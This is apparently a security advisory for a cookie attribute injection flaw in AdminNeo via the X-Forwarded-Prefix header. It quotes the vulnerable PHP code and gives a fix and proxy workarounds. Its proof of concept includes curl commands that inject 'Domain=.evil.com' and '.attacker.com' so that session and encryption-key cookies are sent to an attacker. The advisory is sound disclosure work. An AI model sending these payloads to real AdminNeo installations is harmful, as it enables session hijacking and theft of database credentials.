AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (CVE-2026-96631)

Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

Vulnerable Code

Root cause 1 - Unsanitized header prepended to REQUEST_URI (admin/include/bootstrap.inc.php, lines 50–52):

if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
	$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}

The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

Root cause 2 - Manual Set-Cookie header construction without escaping (admin/include/functions.inc.php, lines 416–424):

function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.

Root cause 3 - Session cookie also tainted (admin/include/bootstrap.inc.php, line 61):

session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);

The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.

Impact

• Session hijacking: The neo_sid session cookie is sent to the attacker's domain, allowing full session takeover.
• Credential theft: The neo_key cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
• Session fixation: An attacker can inject arbitrary Path, SameSite, and Secure attributes, manipulating cookie behavior.
• Wide applicability: The X-Forwarded-Prefix header was specifically added to support reverse proxy deployments (Traefik PathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

Affected Cookies

|Cookie|Content|Risk| |neo_sid|PHP session ID|Session hijacking| |neo_key|Encryption key for stored DB passwords|Credential theft| |neo_settings|User preferences|Low (information disclosure)|

Proof of Concept

# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...

Recommended Fix

1. Sanitize X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the X-Forwarded-Prefix value before using it.
2. Use setcookie() / setrawcookie(): Replace the manual header("Set-Cookie: ...") construction in cookie() with PHP's built-in setcookie() function, which properly escapes attribute values.
3. Validate REQUEST_URI before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie path attribute (;, ,, whitespace per RFC 6265).

// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}

Server Based Workaround Via Config

Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:

# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix

# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminneo"